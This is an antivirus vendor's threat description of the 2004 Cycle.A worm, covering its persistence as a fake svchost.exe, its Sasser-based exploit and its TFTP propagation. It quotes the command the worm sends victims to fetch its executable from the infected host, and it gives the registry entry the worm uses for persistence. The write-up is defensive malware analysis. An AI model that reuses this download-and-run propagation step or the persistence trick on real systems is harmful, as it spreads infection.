Threat description



Cycle.A is a network worm found on May 10th, 2004 exploiting the same vulnerability as Sasser does.

The worm contains long texts on the political situation in Iran.


Automatic action

Depending on the settings of your F-Secure security product, it will either automatically delete, quarantine or rename the suspect file, or ask you for a desired action.

More scanning & removal options

More information on the scanning and removal options available in your F-Secure product can be found in the Help Center.

You may also refer to the Knowledge Base on the F-Secure Community site for more information.

Contact Support

F-Secure customers can request support online via the Request support or the Chat forms on our Home - Global site.

Technical Details

The Cycle.A worm is packed with a modified version of UPX.

System Infection

When the worm enters the system it creates a copy of itself in the Windows System Directory as 'svchost.exe'.

"Generic Host Service" = "%windir%\system\svchost.exe"

Where %windir% is the main Windows folder.

It creates mutex with the following names:


The worm will attempt to terminate any process named 'msblast.exe'

Network Propagation

The worm uses the same exploit as Sasser worm family does.

Upon infection, the newly infected remote host will be instructed to obtain a copy of the worm executable from the local, already infected, host.

The copy process will take place through TFTP. The infected machine will open a TFTP server on the standard port 60, and send the following command to the machine being infected:

tftp -i [local ip] GET cyclone.exe

Where [local ip] is the infected machine and 'cyclone.exe' the worm's executable.

The machine will also open port 3332, and sit accepting connections there, without taking further actions. Machines connecting to this port, and being able to establish a connection will know that the machine is already infected and skip the infection attempt.


Detection in F-Secure Anti-Virus was published on May 11th, 2004 in update:

Detection Type: PC

Database: 2004-05-11_01

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